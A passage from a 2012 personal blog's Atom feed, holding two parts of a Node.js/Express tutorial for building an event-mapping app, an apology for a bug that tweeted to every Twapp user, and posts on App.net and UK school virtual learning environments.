&lt;p&gt;This is called the &lt;a href='http://en.wikipedia.org/wiki/C10k_problem'&gt;C10k&lt;/a&gt; problem (10 thousand concurrent connections), and it&amp;#8217;s something &lt;a href='http://nginx.org/en/'&gt;nginx&lt;/a&gt;, Node and other tools were written to address.&lt;/p&gt;

&lt;p&gt;The opposite of a blocking architecture is what&amp;#8217;s called ‘non-blocking’. Non-blocking systems run in an ‘event-loop’, idling quietly until an event occurs, at which point they identify which code to run and, without spawning a new thread, execute it, before returning to an idle state.&lt;/p&gt;

&lt;p&gt;This event-driven, or asynchronous, architecture tends to be better because it uses smaller amounts of memory, and because you can, to some degree, predict the memory usage. Why that&amp;#8217;s important is way beyond the scope of this already hefty post, so I&amp;#8217;ll leave you to look it up.&lt;/p&gt;

&lt;h3 id='right_back_to_node'&gt;Right. Back to Node.&lt;/h3&gt;

&lt;p&gt;You may have heard Node described as, &amp;#8220;Javascript on the server&amp;#8221;, and that&amp;#8217;s true, but saying so fails to capture an important point. Node didn&amp;#8217;t &lt;strong&gt;have&lt;/strong&gt; to use Javascript, but Javascript suited Node very well, for a few reasons.&lt;/p&gt;

&lt;p&gt;As you may have gathered, Node is non-blocking. But there&amp;#8217;s something else that&amp;#8217;s non-blocking, and you know all about it: your web browser. It too runs an event-loop (remember those?), responding to events and running associated code. Associating code with an event is often referred to as ‘attaching’, and the code that runs is called an ‘event handler’&lt;/p&gt;

&lt;p&gt;For example, you might attach an event handler to a click event on a link. In jQuery, that looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
$('a#mylink').click(function (event) {
  . . .
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&amp;#8217;s like saying ‘listen for a click event on &lt;code&gt;#mylink&lt;/code&gt;, and when it&amp;#8217;s clicked, run this function’. The function in this example is known as a callback.&lt;/p&gt;

&lt;p&gt;Javascript was designed for this environment and as such has a few very nice language features that make it perfect for code like this. In that example above, we&amp;#8217;re actually passing the callback function as an argument to the click method of a jQuery object. The fact that you can easily pass functions as arguments, as if they were data, is the important thing.&lt;/p&gt;

&lt;p&gt;Node is very similar to the browser. From &lt;a href='http://nodejs.org/'&gt;nodejs.org&lt;/a&gt;, “Node.js uses an event-driven, non-blocking I/O model”. In Node, you listen for Input/Output events like a user connecting, or a database returning data, or a response from an external API.&lt;/p&gt;

&lt;p&gt;Node idles in an event loop until an event occurs. It will then run any code associated with that event, and return to idle. Similarly, when you ask for data (from a database, for example), Node dispatches a request to the database, then returns to idle until the database returns the data. Imagine a conversation between the two. Node begins…&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Hey Database, I&amp;#8217;d like all the users please.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
&lt;p&gt;”Hey Node, sure thing. I&amp;#8217;ll get back to you when I&amp;#8217;ve got that.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Some time later (perhaps after Node&amp;#8217;s dealt with 100 people wanting to see your homepage)&amp;#8230;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;”Hey Node, here&amp;#8217;s your users.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
&lt;p&gt;”Thanks Database.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Then Node goes off and runs the code you specified in the callback.&lt;/p&gt;

&lt;p&gt;This is really important important as it allows us to easily create applications that scale to large number of users or to high traffic from a group of users. There are other benefits too, but we&amp;#8217;ll get to those soon enough.&lt;/p&gt;

&lt;h3 id='in_use'&gt;In use&lt;/h3&gt;

&lt;p&gt;So, now we&amp;#8217;ve seens how Node&amp;#8217;s different, let&amp;#8217;s keep on going! We&amp;#8217;ll return to the &lt;code&gt;eventpack&lt;/code&gt; directory from the last tutorial, and open up &lt;code&gt;app.js&lt;/code&gt; in a text editor.&lt;/p&gt;

&lt;p&gt;This is the main file and control center for your whole app. It begins by using &lt;code&gt;require&lt;/code&gt; (a global method in Node) to important functionality from the &lt;code&gt;express&lt;/code&gt; module, from files within the app and from &lt;code&gt;http&lt;/code&gt; and &lt;code&gt;path&lt;/code&gt;, both part of Node&amp;#8217;s standard library.&lt;/p&gt;

&lt;p&gt;&lt;img alt='require' src='http://i.phuu.net/content/JT77/aHR0cDovL2YuY2wubHkvaXRlbXMvMFkzNjNlM2UzdTI0M1UzQTJhMjEvU2NyZWVuJTIwU2hvdCUyMDIwMTItMDktMTQlMjBhdCUyMDE3LjAzLjU4LnBuZw==' /&gt;&lt;/p&gt;

&lt;p&gt;We then see a load of configuration and initialisation.&lt;/p&gt;

&lt;p&gt;&lt;img alt='init &amp;amp; config' src='http://i.phuu.net/content/JSip/aHR0cDovL2YuY2wubHkvaXRlbXMvMU4wUTBZMlAxVDNnMTUzMjB2MmovU2NyZWVuJTIwU2hvdCUyMDIwMTItMDktMTQlMjBhdCUyMDE3LjA3LjIyLnBuZw==' /&gt;&lt;/p&gt;

&lt;p&gt;Lastly is the good stuff, the routes. With Express, you use &lt;code&gt;app.get&lt;/code&gt; to define what happens when a user requests a resource or page within your application. Express matches the requested URI to routes you define and then runs the callback you supply.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;routes.index&lt;/code&gt; is one such route callback, and it&amp;#8217;s defined in &lt;code&gt;routes/index.js&lt;/code&gt;. Take a look at that file to see what&amp;#8217;s going on.&lt;/p&gt;

&lt;p&gt;&lt;img alt='routes/index.js' src='http://i.phuu.net/JTCK/Screen%20Shot%202012-09-14%20at%2017.14.34.png' /&gt;&lt;/p&gt;

&lt;p&gt;Here you can see another global Node object, &lt;code&gt;exports&lt;/code&gt;. By creating properties on this object you enable others to use those properties, be they attributes or methods. &lt;code&gt;exports&lt;/code&gt; is actually synonymous with &lt;code&gt;module.exports&lt;/code&gt;, which perhaps explains things better.&lt;/p&gt;

&lt;p&gt;When you &lt;code&gt;require&lt;/code&gt; a module the variable that you assign the return value of &lt;code&gt;require&lt;/code&gt; to takes on the properties of the exports object of the module.&lt;/p&gt;

&lt;p&gt;So hopefully you can see how an application takes shape. We&amp;#8217;ll set up routes in &lt;code&gt;app.js&lt;/code&gt; and write the associated callback in a file in &lt;code&gt;routes/&lt;/code&gt;. That&amp;#8217;s really all there is to it.&lt;/p&gt;

&lt;h3 id='a_bit_more_setup'&gt;A bit more setup.&lt;/h3&gt;

&lt;p&gt;Yeah, there&amp;#8217;s a bit more to set up still. It&amp;#8217;s quick though, don&amp;#8217;t worry.&lt;/p&gt;

&lt;p&gt;First, &lt;strong&gt;git&lt;/strong&gt;. If you don&amp;#8217;t &lt;a href='http://git-scm.com/book/en/Getting-Started'&gt;know about git&lt;/a&gt;, you should.&lt;/p&gt;

&lt;p&gt;The first thing we need to do is add a &lt;code&gt;.gitignore&lt;/code&gt; file in the &lt;code&gt;eventpack&lt;/code&gt; directory which should contain one line, &lt;code&gt;node_modules&lt;/code&gt;. This will stop git from staging the contents of that directory. Why do want that? You&amp;#8217;ll find out when we tackle deployment.&lt;/p&gt;

&lt;p&gt;Next, back at the command line, we&amp;#8217;ll do some commiting.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
# Intialise git
$ git init
# Check what's going to be added
$ git status
# Add the untracked files
$ git add .
# Check what's going to be commited
$ git status
# Perform the commit!
$ git commit -m &quot;Initial commit&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='mocha'&gt;Mocha&lt;/h3&gt;

&lt;p&gt;One last bit. We need to get Mocha set up. Mocha does lots of work for us too. All we need to do is create a &lt;code&gt;test&lt;/code&gt; directory and add some files to it. I&amp;#8217;ve just made a &lt;code&gt;test.js&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;To try it out, just run &lt;code&gt;mocha&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt='First test output' src='http://i.phuu.net/JSMl/Screen%20Shot%202012-09-14%20at%2017.55.50.png' /&gt;&lt;/p&gt;

&lt;p&gt;Obviously we have no tests yet, but we will! I&amp;#8217;ve committed this new file too, on a new branch called &lt;code&gt;part-two&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id='and_were_done'&gt;And we&amp;#8217;re done&lt;/h3&gt;

&lt;p&gt;So that&amp;#8217;s Part 2 over. I hope it was fun. I&amp;#8217;ve pushed my code so far to Github, so check out &lt;a href='https://github.com/phuu/node-irl'&gt;phuu/node-irl&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Any questions, just hit me up in the comments!&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Node.js In Real Life: Part 1</title>
   <link href="http://phuu.net/2012/09/13/node-js-in-real-life-part-1.html"/>
   <updated>2012-09-13T15:00:00+01:00</updated>
   <id>http://phuu.net/2012/09/13/node-js-in-real-life-part-1</id>
   <content type="html">&lt;p&gt;Let&amp;#8217;s take a look at using Node in real-life, on an actual product. There&amp;#8217;s tonnes of &amp;#8220;Hello world&amp;#8221; examples, but what about practical application for real work?&lt;/p&gt;

&lt;p&gt;In a series of tutorials we&amp;#8217;ll go through designing, building and deploying a real application built on Node. This is an actual app that I&amp;#8217;m intending to release, and you&amp;#8217;ll get to see every stage as we go through, warts &amp;amp; all.&lt;/p&gt;

&lt;h3 id='the_app'&gt;The app&lt;/h3&gt;

&lt;p&gt;So what will we be building?&lt;/p&gt;

&lt;p&gt;We&amp;#8217;re going to make an application for conference goers, or visitors to any event, that will help them see where others at the event are. We&amp;#8217;ll allow users to create an event by associating a location with a hashtag, and then allow others to use that hashtag to see themselves, and others using the same hashtag, on a map.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;m calling it &lt;strong&gt;Eventpack&lt;/strong&gt;, and I&amp;#8217;ve bought the domain &lt;code&gt;eventpack.me&lt;/code&gt;. You&amp;#8217;ll find out why in a later tutorial ;)&lt;/p&gt;

&lt;p&gt;On the server we&amp;#8217;ll obviously be using Node, on top of which we&amp;#8217;ll utilise ExpressJS. It&amp;#8217;s the best web application framework for Node, and will do a shedload of work for us. For Rubyists, it&amp;#8217;s like &lt;a href='http://www.sinatrarb.com/'&gt;Sinatra&lt;/a&gt;; Pythonistas: &lt;a href='http://www.pylonsproject.org/'&gt;Pyramid&lt;/a&gt;; PHPsters: it&amp;#8217;s &lt;a href='http://codeigniter.com/'&gt;CodeIgniter&lt;/a&gt;-ish.&lt;/p&gt;

&lt;p&gt;We&amp;#8217;ll also be using &lt;a href='http://visionmedia.github.com/mocha/'&gt;Mocha&lt;/a&gt; for test-driven development. I have to admit that I&amp;#8217;m no TDD master but hopefully I can give you a few tips on testing Node.&lt;/p&gt;

&lt;p&gt;As it&amp;#8217;s a web app, on the client side we&amp;#8217;ll use &lt;a href='http://www.openstreetmap.org/'&gt;OpenStreetMap&lt;/a&gt;, &lt;a href='http://leaflet.cloudmade.com/'&gt;Leaflet&lt;/a&gt; and the &lt;a href='http://diveintohtml5.info/geolocation.html'&gt;Geolocation API&lt;/a&gt;, plus HTML(5), &lt;a href='http://lesscss.org/'&gt;LESS&lt;/a&gt; and Javascript. jQuery may also make an extrance.&lt;/p&gt;

&lt;p&gt;It&amp;#8217;ll all be on Github, and I&amp;#8217;ll make branches for each post so that it&amp;#8217;s easy to follow, and mess around with, each stage. And I&amp;#8217;m also totally open to feedback – if you think a design decision is insane then tell me!&lt;/p&gt;

&lt;h3 id='assumptions'&gt;Assumptions&lt;/h3&gt;

&lt;p&gt;I&amp;#8217;m assuming that you are proficient in HTML, CSS and know Javascript well enough to understand callbacks &amp;amp; functional scoping. If you don&amp;#8217;t (and that&amp;#8217;s totally cool), there are &lt;a href='http://jsforcats.com/'&gt;some&lt;/a&gt; &lt;a href='http://net.tutsplus.com/tutorials/javascript-ajax/24-javascript-best-practices-for-beginners/'&gt;great&lt;/a&gt; &lt;a href='http://james.padolsey.com/javascript/closures-in-javascript/'&gt;tutorials&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;m going to assume you have Node installed, becuase of the wealth of tutorials about out there, but I won&amp;#8217;t assume you know anything about Node itself.&lt;/p&gt;

&lt;p&gt;If you don&amp;#8217;t have it installed, it&amp;#8217;s pretty easy on any platform (yep, Windows included). &lt;a href='//nodejs.org'&gt;Head to their site&lt;/a&gt;. The latest versions will come with &lt;code&gt;npm&lt;/code&gt;, the Node Package Manager, so I&amp;#8217;ll assume you have that too, but don&amp;#8217;t worry, I&amp;#8217;ll show you how to use it.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;m also going assume that you have MongoDB installed &amp;amp; running. They have a great set of &lt;a href='//www.mongodb.org/display/DOCS/Quickstart'&gt;Installation Guides&lt;/a&gt;, so check them out.&lt;/p&gt;

&lt;p&gt;For reference, I&amp;#8217;m working on OSX &lt;strong&gt;10.8.1&lt;/strong&gt;, using Node &lt;strong&gt;0.8.9&lt;/strong&gt; with npm &lt;strong&gt;1.1.61&lt;/strong&gt;. That means, if you&amp;#8217;re on Windows, most of the command line stuff will be different. I&amp;#8217;m sorry to be unable to support you specifically, but this tutorial is going to be long enough as it is! Also, some of this stuff may be different in the future, but I trust you, dear reader, to figure it out :)&lt;/p&gt;

&lt;h3 id='we_begin_at_the_beginning'&gt;We begin at the beginning&lt;/h3&gt;

&lt;p&gt;I guess that the most obvious thing to start with would be to get ourselves set up with Node by installing Express and Mocha with &lt;code&gt;npm&lt;/code&gt;. This is pretty simple to do, so let&amp;#8217;s get started.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;npm&lt;/code&gt; is the Node Package Manager, and is a great tool for finding, installing and managing packages, or modules, to use in your Node projects. You&amp;#8217;ll find it on your command line just by typing &lt;code&gt;npm&lt;/code&gt;. As I said, I&amp;#8217;m going to assume that it&amp;#8217;s working.&lt;/p&gt;

&lt;p&gt;There are two ways packages can be installed. The first, and most common, is to install them into the currect directory; this places them in a &lt;code&gt;node_modules&lt;/code&gt; directory. Node will look for this directory when you &lt;code&gt;require&lt;/code&gt; a module (more on that soon), and each &lt;code&gt;node_modules&lt;/code&gt; directory is specific to the current project.&lt;/p&gt;

&lt;p&gt;The second way installs the module globally; this is only suitable for some modules, and most will tell you which way to install them. Installing globally allows a module to add other useful functionality, like command line tools, to your computer.&lt;/p&gt;

&lt;p&gt;Express and Mocha are modules that are best installed globally. We&amp;#8217;ll begin with Express.&lt;/p&gt;

&lt;h3 id='installing_express'&gt;Installing Express&lt;/h3&gt;

&lt;p&gt;Run this in any directory:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo npm install -g express&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Hopefully, you&amp;#8217;ll get a load of install output, finishing with something like this&amp;#8230;&lt;/p&gt;

&lt;p&gt;&lt;img alt='express@3.0.0rc4 /usr/local/lib/node_modules/express' src='http://i.phuu.net/JSsq/Screen%20Shot%202012-09-14%20at%2009.26.38.png' /&gt;&lt;/p&gt;

&lt;p&gt;As you can see, I&amp;#8217;ve got Express &lt;strong&gt;3.0.0rc4&lt;/strong&gt;. Your results may differ, but if you have anything less than 3.0.0 then try:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo npm install -g express@3.0.0rc4&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;What the output in the image is telling you is that Express, and a load of modules upon which it relies, were installed. In my case, they all went into &lt;code&gt;/usr/local/lib/node_modules/express&lt;/code&gt; – again, your results may vary.&lt;/p&gt;

&lt;p&gt;All Express documentation is available on &lt;a href='http://expressjs.com/'&gt;expressjs.com&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id='installing_mocha'&gt;Installing Mocha&lt;/h3&gt;

&lt;p&gt;Now we&amp;#8217;ll do the same with &lt;a href='http://visionmedia.github.com/mocha/'&gt;Mocha&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo npm install -g mocha&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I get &lt;code&gt;mocha@1.4.2&lt;/code&gt;. Anything greater than 1.3 should do.&lt;/p&gt;

&lt;p&gt;We can actually leave Mocha alone for a little while now, as we&amp;#8217;re going to start a new project.&lt;/p&gt;

&lt;h3 id='starting_a_new_project'&gt;Starting a new project&lt;/h3&gt;

&lt;p&gt;The reason for installing Express globally was to install the useful &lt;code&gt;express&lt;/code&gt; command line tool that, amongst other things, can create a template application so we can get to work quickly. It has &lt;a href='http://expressjs.com/guide.html#executable'&gt;pretty good documentation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;We going to be using &lt;code&gt;express&lt;/code&gt; to do alot of work for us straight away.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;express --sessions --css less --ejs eventpack&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img alt='output of express sessions css less eventpack' src='http://i.phuu.net/JSkw/Screen%20Shot%202012-09-14%20at%2009.51.54.png' /&gt;&lt;/p&gt;

&lt;p&gt;This will create a template structure, as you can see above. It&amp;#8217;s also given us some instructions, which you should follow. Once you&amp;#8217;ve run &lt;code&gt;node app&lt;/code&gt;, head to &lt;a href='//localhost:3000/'&gt;http://localhost:3000/&lt;/a&gt; to see Express in action&amp;#8230;&lt;/p&gt;

&lt;p&gt;&lt;img alt='Express in action' src='http://i.phuu.net/JS28/Screen%20Shot%202012-09-14%20at%2009.56.25.png' /&gt;&lt;/p&gt;

&lt;p&gt;You can quit the app using &lt;code&gt;Ctrl+C&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Running &lt;code&gt;cd eventpack &amp;amp;&amp;amp; npm install&lt;/code&gt; gave us similar output to when we installed Express and Mocha, but with a slight difference.&lt;/p&gt;

&lt;p&gt;&lt;img alt='npm install output' src='http://i.phuu.net/JSzI/Screen%20Shot%202012-09-14%20at%2009.59.09.png' /&gt;&lt;/p&gt;

&lt;p&gt;Let&amp;#8217;s walk through it.&lt;/p&gt;

&lt;p&gt;You can see it installed three things. &lt;code&gt;jade&lt;/code&gt;, &lt;code&gt;less-middleware&lt;/code&gt; and &lt;code&gt;express&lt;/code&gt;. But this time, they are installed in &lt;code&gt;node_modules/&lt;/code&gt; – if you run &lt;code&gt;ls&lt;/code&gt; in the current directory you&amp;#8217;ll see &lt;code&gt;node_modules&lt;/code&gt; there.&lt;/p&gt;

&lt;p&gt;&lt;img alt='ls output' src='http://i.phuu.net/JTgO/Screen%20Shot%202012-09-14%20at%2010.01.17.png' /&gt;&lt;/p&gt;

&lt;p&gt;This directory is where the local modules go. When we get &lt;code&gt;git&lt;/code&gt; set up, in the next tutorial, we&amp;#8217;ll put &lt;code&gt;npm_modules&lt;/code&gt; in the &lt;code&gt;.gitignore&lt;/code&gt; file—perhaps that hints at the power of NPM—but for now you can forget about it.&lt;/p&gt;

&lt;p&gt;We used three flags with the &lt;code&gt;express&lt;/code&gt; tool. This adds some automatic functionality: session support and LESS compliation (and compression, if we want it). Both will be useful once we start work properly.&lt;/p&gt;

&lt;h3 id='enough_for_now'&gt;Enough for now&lt;/h3&gt;

&lt;p&gt;So there you have the basic structure of a Node app. Take a look around that template, there&amp;#8217;s not much to it yet. Next time we&amp;#8217;ll have it doing stuff.&lt;/p&gt;

&lt;p&gt;I think this tutorial is now quite long enough. I hope you&amp;#8217;ve enjoyed it so far and are in for the rest of the series! I&amp;#8217;m open to all feedback so please let me know what you think and what I can improve.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>I messed up. I'm sorry.</title>
   <link href="http://phuu.net/2012/09/13/i-messed-up-i-am-sorry.html"/>
   <updated>2012-09-13T10:00:00+01:00</updated>
   <id>http://phuu.net/2012/09/13/i-messed-up-i-am-sorry</id>
   <content type="html">&lt;p&gt;On 13th September, at 9:38am, I pushed a feature to Twapp to allow users to stop a post from going through if it was too long for Twitter.&lt;/p&gt;

&lt;p&gt;Due to a stupid mistake, I left some in code that created a fake post, to test the feature. This resulted in an identical tweet being sent to the Twitter accounts of all Twapp&amp;#8217;s users.&lt;/p&gt;

&lt;p&gt;I am very sorry. I totally messed up and I&amp;#8217;ll do my absolute best to make sure it won&amp;#8217;t happen again.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;m putting a check in place to make sure that username stored in the post is the same as the username of the user for whom Twapp is currently posting, which should stop this ever happening again, and I&amp;#8217;ll take a good look at other checks like this, some that are already in place, across the app.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>App.net Mindset</title>
   <link href="http://phuu.net/2012/08/29/app-dot-net-mindset.html"/>
   <updated>2012-08-29T14:00:00+01:00</updated>
   <id>http://phuu.net/2012/08/29/app-dot-net-mindset</id>
   <content type="html">&lt;p&gt;My two App.net projects, a &lt;a href='//app.phuu.net'&gt;friend-finder&lt;/a&gt; and a &lt;a href='//twapp.phuu.net'&gt;cross-poster&lt;/a&gt;, have both enjoyed some unexpected success. In fact, I&amp;#8217;ve been totally blown away by the response and I&amp;#8217;m very grateful to anyone who&amp;#8217;s bought twapp or tipped me!&lt;/p&gt;

&lt;p&gt;A number of people have asked me whether the App.net community have been more receptive to paid apps than the Twitter community are, and why that might be so. It seems to me that it&amp;#8217;s down to the mindset of someone using App.net.&lt;/p&gt;

&lt;p&gt;I think that an expectation that payment is involved in using the service is created because users have already paid $50+ for their account. Paying for another supplementary service is not a big hurdle because a larger payment has already taken place. In the case of Twitter, the central service is free which makes a paid ecosystem more difficult to establish.&lt;/p&gt;

&lt;p&gt;In addition to this, most App.net users are die-hard early adopters, very willing to try out something new. This interest I&amp;#8217;ve found also increases the chances the person is happy to pay to be first. Kickstarter&amp;#8217;s business model is partially based around that fact, and so is how App.net got funded.&lt;/p&gt;

&lt;p&gt;When you consider this drive to be first, and the expectation of payment, it seems that App.net is a very good platform for developers to build user-focused products that don&amp;#8217;t rely on advertising becuase the users, by their nature, are willing to pay. It&amp;#8217;s a great thing.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Building the Picture</title>
   <link href="http://phuu.net/2012/08/25/building-the-picture.html"/>
   <updated>2012-08-25T11:00:00+01:00</updated>
   <id>http://phuu.net/2012/08/25/building-the-picture</id>
   <content type="html">&lt;p&gt;Ofsted, the school inspection body, published &lt;a href='//www.education.gov.uk/publications/eOrderingDownload/110134.pdf'&gt;a report&lt;/a&gt; in December 2011 that investigated the use of ICT in 167 schools across the UK between 2008 and 2011, including the use of virtual learning environments. Here&amp;#8217;s a whirlwind tour of the report, and some conclusions.&lt;/p&gt;

&lt;h3 id='the_findings'&gt;The findings&lt;/h3&gt;

&lt;p&gt;A number of weaknesses were identified including, &amp;#8220;limited teacher capability in key topics such as programming,&amp;#8221; and, &amp;#8220;lack of attention to the needs and interests of more able students&amp;#8221;, identifying a particular failure at the Key Stage 4 level – 14 to 16 years old – where students were not aware of, or able to explore, options for higher learning in ICT and Computing.&lt;/p&gt;

&lt;p&gt;This is further evidence of the wider problem of a teaching cohort unskilled in computing any more advanced than word processing and spreadsheets. It&amp;#8217;s been identified before and will, I believe, be fixed naturally over time.&lt;/p&gt;

&lt;p&gt;Interestingly, though unsurprisingly perhaps, the report described, &amp;#8220;a move away from dedicated computer suites and a growing emphasis on laptops and handheld devices,&amp;#8221;, which follows a global trend towards mobile computing.&lt;/p&gt;

&lt;p&gt;To me, any product or service entering this space should have a similar focus on a strong mobile aspect, which goes with conventional web development wisdom. Walter and I have already identified this as a key area; engaging students where they spend much of their time – on their phones – could prove very important to helping them learn outside of the classroom.&lt;/p&gt;

&lt;h3 id='virtual_learning_environment'&gt;Virtual Learning Environment&lt;/h3&gt;

&lt;p&gt;Upon investigating the use of virtual learning environments in schools, Ofsted found that, while VLEs had been effective in a number of cases, there were a range of issues associated with, &amp;#8220;a lack of support from the local authority, delays caused by technical difficulties or lack of available training&amp;#8221;. While I don&amp;#8217;t think I need to say anything about the inefficiencies of a local authority, I do think it&amp;#8217;s worth addressing technical difficulties and lack of available training.&lt;/p&gt;

&lt;p&gt;There are two types of technical difficulty that this could be addressing; relating to the development of the VLE and to difficulty of operation and maintenance by teaching staff. Walter and I hope to address both by adopting a more agile development methodology.&lt;/p&gt;

&lt;p&gt;By building a product upon which we&amp;#8217;d iterate, not a one-time bespoke solution, I think we can achieve a lower cost for the school, and a service that more closely serves the needs of the users: the pupils and teachers.&lt;/p&gt;

&lt;p&gt;By working &lt;em&gt;with&lt;/em&gt; pupils and teachers I think we can avoid a situation where a teacher feels lost or unable to carry out a task. Of course, there&amp;#8217;s no reason we cannot provide training and great customer support. The latter is imperitive, in fact.&lt;/p&gt;

&lt;p&gt;A lack of meaningful customer support is an inherent problem with any bespoke solution, as the development team have moved on and are working on something else – we can solve this, and mentioned above, by iterating on a single product.&lt;/p&gt;

&lt;p&gt;The report also concluded that, &amp;#8220;there was often a reliance on a single enthusiast, a teacher or governor, to resolve obstacles and delays,&amp;#8221; which is concordant with my experience of virtual learning environments. Again, by centralising the service so that schools do not have to install, host and maintain it, we can avoid this kind of reliance and deliver regular updates to everyone simultaneously.&lt;/p&gt;

&lt;h3 id='building_the_picture'&gt;Building the picture&lt;/h3&gt;

&lt;p&gt;In these posts I&amp;#8217;m trying to build a picture of the problems that need to be solved, so that we can formulate an effective solution in one small area and work outwards. It&amp;#8217;s been great to see others engaging with our idea – hopefully we can resonate in the right places and enact real change.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Problems to Solve</title>
   <link href="http://phuu.net/2012/08/23/problems-to-solve.html"/>
   <updated>2012-08-23T21:00:00+01:00</updated>
   <id>http://phuu.net/2012/08/23/problems-to-solve</id>
   <content type="html">&lt;p&gt;I talked in my last post about education and about a new project I&amp;#8217;m working on with &lt;a href='//twitter.com/waltercfilho'&gt;Walter&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now I&amp;#8217;d like to expand a little more on the specific problems we are looking to solve. Right now, nothing is under construction. I&amp;#8217;m not happy beginning work until Walter &amp;amp; I have explored these problems thoroughly and know them well. This post is to express the first part of the manifesto.&lt;/p&gt;

&lt;h3 id='prescriptive_curricula'&gt;Prescriptive curricula&lt;/h3&gt;

&lt;p&gt;As you know, the content of lessons in school is, in the main, prescribed by the government in a curriculum that is tested in public examinations at 16 (year 11, GCSE), and then, if you go to sixth form, again for the next two years at AS and A2.&lt;/p&gt;

&lt;p&gt;For the most part, students will not be taught any more than the content of the set curriculum. The textbooks are written, the course material is taught, the homework set and the exams taken. It&amp;#8217;s a single track path with very little wiggle room.&lt;/p&gt;

&lt;p&gt;This isn&amp;#8217;t right, and we want to make it easier for students to access, explore and share this information in an environment that also allows teachers to monitor, and direct, the student&amp;#8217;s learning. If a student finds something that they find interesting and that they want to explore, they should be able to do so without being constrained by their curriculum.&lt;/p&gt;

&lt;p&gt;They should be able to share that excitement about learning with anyone, not just those in their school environment.&lt;/p&gt;

&lt;h3 id='virtual_learning_environments'&gt;Virtual Learning Environments&lt;/h3&gt;

&lt;p&gt;A VLE is software that tries to emulate the classroom online, with virtual counterparts to tests, homework, classes and classrooms. They can also offer data access, resource hosting and a number of other features.&lt;/p&gt;

&lt;p&gt;Most are hosted by the school or university and require administrative staff to keep the software running and apply updates.&lt;/p&gt;

&lt;p&gt;Most cost a huge amount to buy and maintain, even if the maintenance is left to staff at the school.&lt;/p&gt;

&lt;p&gt;Most suck.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;ve had experience with Moodle (at school), the open-source PHP VLE, and Learning Central (or Blackboard – depends who you ask), Cardiff University&amp;#8217;s own system that, I believe, is developed by IBM to the cost of millions.&lt;/p&gt;

&lt;p&gt;Teachers find them hard to use and students don&amp;#8217;t care. They go to them when they must, and no more.&lt;/p&gt;

&lt;p&gt;Reinventing the VLE would be wrong and stupid; the backward compatibility nightmares would suck the life out of any small, dynamic product. But doing something different and smart that takes full advantage of what&amp;#8217;s possible with the web isn&amp;#8217;t, and that&amp;#8217;s one of our goals.&lt;/p&gt;

&lt;h3 id='a_story'&gt;A story&lt;/h3&gt;

&lt;p&gt;At my school we did the ICT GCSE short course two years early, at 14. It involves some spreadsheet, database and limited website work in HTML and CSS using WYSIWYG editors, and then an exam. No sweat.&lt;/p&gt;

&lt;p&gt;At that point I was doing PHP and MySQL, and had been building websites for a while. I was bored of our curriculum and I wanted to find out new things and push myself. I&amp;#8217;d found an AS &amp;amp; A2 Computing test program on the school network and I&amp;#8217;d stared putting myself through the tests; I could get 50–70% on most AS stuff, and 40% or less on A2.&lt;/p&gt;

&lt;p&gt;Wanting to get 100%, I tried to start learning about the things I didn&amp;#8217;t understand in the tests, so I went on Moodle to look at the course material there.&lt;/p&gt;

&lt;p&gt;It had a password. I couldn&amp;#8217;t access the course material because of a password that was given only to A Level students. It stopped me in my tracks and was very frustrating because I couldn&amp;#8217;t explore an avenue that was of great interest to me.&lt;/p&gt;

&lt;p&gt;I don&amp;#8217;t understand what is gained, by anyone, in limiting access to learning resources. There&amp;#8217;s no reason anyone should be stopped from learning about something they are interested in, and it&amp;#8217;s criminal to do so. This has to change.&lt;/p&gt;

&lt;h3 id='go_to_the_source'&gt;Go to the source&lt;/h3&gt;

&lt;p&gt;This first step to fixing a problem is identifying the source. While the above are problems in themselves, they are also symptoms of a larger, underlying problem with schooling.&lt;/p&gt;

&lt;p&gt;But I hope that, by making a difference in these areas, we can stop restricting learning to what&amp;#8217;s on the curriculum and build a better learning environment for students and teachers.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>YRS and Broken Education</title>
   <link href="http://phuu.net/2012/08/22/yrs-and-broken-education.html"/>
   <updated>2012-08-22T17:00:00+01:00</updated>
   <id>http://phuu.net/2012/08/22/yrs-and-broken-education</id>
